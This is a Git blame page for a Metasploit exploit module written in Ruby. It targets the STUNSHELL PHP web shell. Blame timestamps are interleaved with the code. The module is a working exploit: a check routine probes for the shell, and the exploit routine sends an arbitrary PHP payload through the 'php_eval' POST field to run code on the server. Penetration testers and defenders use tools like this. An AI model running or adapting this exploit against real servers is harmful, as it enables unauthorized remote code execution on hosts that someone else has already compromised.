Files
metasploit-gs/modules/exploits/multi/http/stunshell_eval.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

88 lines
2.4 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-03-27 17:14:41 -04:00
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
2013-03-28 15:11:20 +01:00
'Name' => 'STUNSHELL Web Shell Remote PHP Code Execution',
'Description' => %q{
2013-03-28 15:11:20 +01:00
This module exploits unauthenticated versions of the "STUNSHELL" web shell.
This module works when safe mode is enabled on the web server. This shell is widely
used in automated RFI payloads.
},
'License' => MSF_LICENSE,
'Author' =>
[
2013-03-28 15:11:20 +01:00
'bwall <bwall[at]openbwall.com>' # vuln discovery & msf module
],
'References' =>
[
['OSVDB', '91842'],
['URL', 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL'],
2013-03-27 17:14:41 -04:00
['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007']
],
'Privileged' => false,
'Payload' =>
{
'Keys' => ['php'],
'Space' => 10000,
2013-03-28 15:11:20 +01:00
'DisableNops' => true
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
2013-04-03 09:20:01 -05:00
'Targets' =>
2013-03-27 17:14:41 -04:00
[
2013-03-28 15:11:20 +01:00
['stunshell', {}]
2013-03-27 17:14:41 -04:00
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2013-03-23',
'DefaultTarget' => 0))
register_options(
[
2013-03-27 17:14:41 -04:00
OptString.new('TARGETURI',[true, "The path to the andalas_oku shell", "/IDC.php"]),
])
end
def check
2013-03-27 17:14:41 -04:00
uri = normalize_uri(target_uri.path.to_s)
request_parameters = {
2013-03-27 17:14:41 -04:00
'method' => 'POST',
'uri' => uri,
'vars_post' =>
{
'cmd' => "php_eval",
'php_eval' => "print 'andalas_oku test parameter';"
}
}
shell = send_request_cgi(request_parameters)
if (shell and shell.body =~ /andalas_oku test parameter/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
2013-03-27 17:14:41 -04:00
def http_send_command(cmd)
uri = normalize_uri(target_uri.path.to_s)
request_parameters = {
2013-03-27 17:14:41 -04:00
'method' => 'POST',
'uri' => uri,
'vars_post' =>
{
'cmd' => "php_eval",
"php_eval" => cmd
}
}
res = send_request_cgi(request_parameters)
end
def exploit
http_send_command(payload.encoded)
end
end